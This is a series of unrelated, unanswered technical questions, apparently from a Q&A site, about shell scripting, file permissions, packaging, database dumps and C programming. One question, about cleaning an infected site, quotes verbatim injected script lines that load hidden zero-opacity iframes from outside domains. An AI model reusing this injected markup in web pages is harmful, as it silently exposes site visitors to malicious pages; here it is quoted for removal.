How to use Operating System Commands in Cataylst Contoller?
For example . I want to use perl system command in Controller .its not working ..
Any idea ?
My Windows application runs under Wine, but the installation is a bit of a headache for laymen, and the wrappers I've seen online (PlayOnLinux, Wine Doors) require even more packages to be installed. Is there a way to make a package that will install Wine if the user needs it to be installed, install the application and shortcuts, all with minimal user hassle?
I have a classifieds website, and users may post classifieds, add images, remove classifieds etc etc...
I have no idea what to set the permissions to on folders.
For instance, a php script which I have uploads a file to a directory.
What would you have set the directory permissions to?
Nobody need access to the directory, only the php script...
Just wonder if anybody has a good (brief) article about setting the "right" permissions?
Thanks
You usually invoke the following commands to build a ./configured product:
make
make install
Okay, the product is in the system now. Then you change some source code files and invoke only make install. The question is, does the conventional implementation of install target requires the executables to be recompiled, or just the old ones should be copied to the appropriate system path?
I've already checked out a bunch of repositories in my ~/cvs folder, using CrossVC, a graphical CVS client.
How can I use CVS in cmd with these already checked out repositories? Which variables should I export?
(I have 10 directories, which one with different checked ou repositories)
I have always done this:
mysqldump -hlocalhost -uuser -ppass MYDATABASE > /home/f/db_backup/MYDATABASE.sql
mysql -uuser -ppass MYDATABASE < MYDATABASE.sql
But, if I do this instead...is this safe? Is this identical to the above???
mysqldump -hlocalhost -uuser -ppass MYDATABASE | gzip > /home/f/db_backup/MYDATABASE.sql.gz
zcat MYDATABASE.sql.gz | mysql -uuser -ppass MYDATABASE
I have a job in crontab that requires emacs --batch but if the file is currently open it requests (s, p, q) to (steal, quit, etc...) which is fine if this file is being edited to not run the script but I want to make sure it kills the cron running script so it's not sitting in the background taking up memory. I have the output set to go to a log file so I can see this happening but no way to tell whether the script was terminated even though asked for user input.
Does cron terminate these scripts and how to check the PID to make sure?
I need to print the following values with printf as the follwoing around like this:
printf "[`date +%d"/"%b"/"%G"-"%T`] [WARN] $PARAM1 $PARAM2 $PARAM3
The required output:
[02/Jun/2010-11:08:42] [WARN] val1....val2...val3
In our cluster, RedHat4 & 5 machines, if someone locks the computer and walks away no body can use it. Is there a feature in RedHat5, Gnome, KDE etc that would allow for the option of switching users at the lock screen, so more than one person can be logged in?
Thanks,
rd42
I have a daemon writing to a log file that, eventually, fills up the disk. Is there a way for me to periodically limit the size of the log file without stopping the daemon without changing the code in it? SIGHUP kills the daemon.
I'm helping someone clean up a malware infection on a site and I'm having a difficult time correctly matching some strings in sed so I can create a script to mass search and replace / remove it.
The strings are:
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script>
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>
I cant seem to figure out how to escape the various characters in those lines...
If I try to just say delete the entire line if it matches http://vidintex.com/includes/class.pop.php it also deletes the closing "" in the .html files as well.
Any help would be greatly appreciated!
Every x minutes I grab an image from a network-cam. Now i want to add this picture to an existing video file - on the fly.
I don't want to keep numerous image files and then encode them once in a while with e.g.
mencoder mf://@${LIST} -mf type=jpg:fps=${FPS} ...
The video format/codec doesn't really matter, as long as standard tools (mplayer, ffmpeg, vlc, ...) can handle it.
Any ides or suggestions?
Thanks in advance!
fileexist=0
for i in $( ls /data/read-only/clv/daily/Finished-HADOOP_EXPORT_&processDate#.done); do
mv /data/read-only/clv/daily/Finished-HADOOP_EXPORT_&processDate#.done /data/read-only/clv/daily/archieve-wip/
fileexist=1
done
--some other script below
Above is the shell script I have in which in the for loop, I am moving some files. I want to notify myself via email if something wrong got happened in the moving process, as I am running this script on the Hadoop Cluster, so it might be possible that cluster went down while this was running etc etc. So how can I have better error handling mechanism in this shell script? Any thoughts?
i am using eclipse with android plugin and sdk, but i can not create a virtual device due to there is no target, and when I execute this:
$ ./android list targets
Available Android targets:
what should i do?
and..............
when i try to install the available packages in eclipse avd manage it comes to:
Downloading SDK Platform Android 2.0 API5, revision1
SSL peer shutdown incorrectly....
I use the functions fork(),exec()...
But how can this program compiled without including some extra headers(like sys/types.h, sys/wait.h).
I use ubuntu 10.04 with gcc version 4.4.3
#include <stdio.h>
#include <stdlib.h>
int main()
{
pid_t pid;
printf("before fork\n");
pid = fork();
if(pid == 0)
{
/*child*/
if(execvp("./cpuid", NULL))
{
printf("error\n");
exit(0);
}
}
else
{
if(wait(NULL) != -1)
{
printf("ok\n");
}
}
return 0;
}
I'd like to open a pipe using popen() and have non-blocking 'read' access to it.
How can I achieve this?
(The examples I found were all blocking/synchronous)
My .deb package, built on 32-bit Ubuntu and containing executables compiled with gcc, won't install on the 64-bit version of the OS (the error message says 'Wrong architecture i386'). This is confusing to me because I thought that in general 32-bit software worked on 64-bit hardware, but not vice-versa.
Will it be possible for me to produce a .deb file that I can install on a 64-bit OS, using my 32-bit machine? Is it just a matter of using the appropriate compiler flags to produce the executables (and if so what are they), or is the .deb file itself somehow specific to one processor architecture?
I have some files in the same directory (in UNIX filesystem) that looks like:
a.txt.name
b.xml.name
c.properties.name
a.txt.name2
b.xml.name2
c.properties.name2
How do I get the string before the name or name2 part using some shell command?
ie. the a.txt, b.xml, c.properties part?
hello everyone, can You explain please, can grep pick rows if at least one element from the list appeared, for exmaple
grep "hello world" file1
grep must give me all rows which have or word hello or world or both of them, thanks in advance
I'm using grep to generate a list of files I need to move:
grep -L -r 'Subject: \[SPAM\]' .
How can I pass this list to the mv command and move the files somewhere else?
I cant seem to send an email using PHP's mail(). I have also tried PHPMailer and Swiftmail with no success. However, the following command on the server delivers mail successfully.
cat test.txt | mail -s "test mail" [email protected]
Is there a way to trace where the problem is coming from? mail() just seems to return true or false.
I am working with a file upload script. I am currently uploading a file and then trying to echo out an anchor linking to that file, but since I used mkdir() with 0700 permissions to upload the file, it won't allow me access to view the file.
I am pretty sure the problem I am experiencing is because of the file permission code I used. The problem is I just don't know what all the different file permission codes are and what they mean.
Can somebody please list out all the different file permissions and what they each do?
We have the following line of code:
printf("%d\n", toc->runlist.next);
printf("%d\n", toc->runlist.next);
These are the definitions:
typedef struct thread_overview_control{
int id[NR_UTHREADS];
list_t runlist;
int active_counter;
int main_thread;
int need_resched;
} thread_overview_control;
thread_overview_control* toc;
What I'm trying to do is implement user threads. For some reason the output of the above code at the point where our test run crushes is:
12345678 //some address
0 //NOW IT'S NULL?!?!?!
How can this happen?? All we do is read a variable.
And the strange thing is, without printf's there are no crashes. What's going on?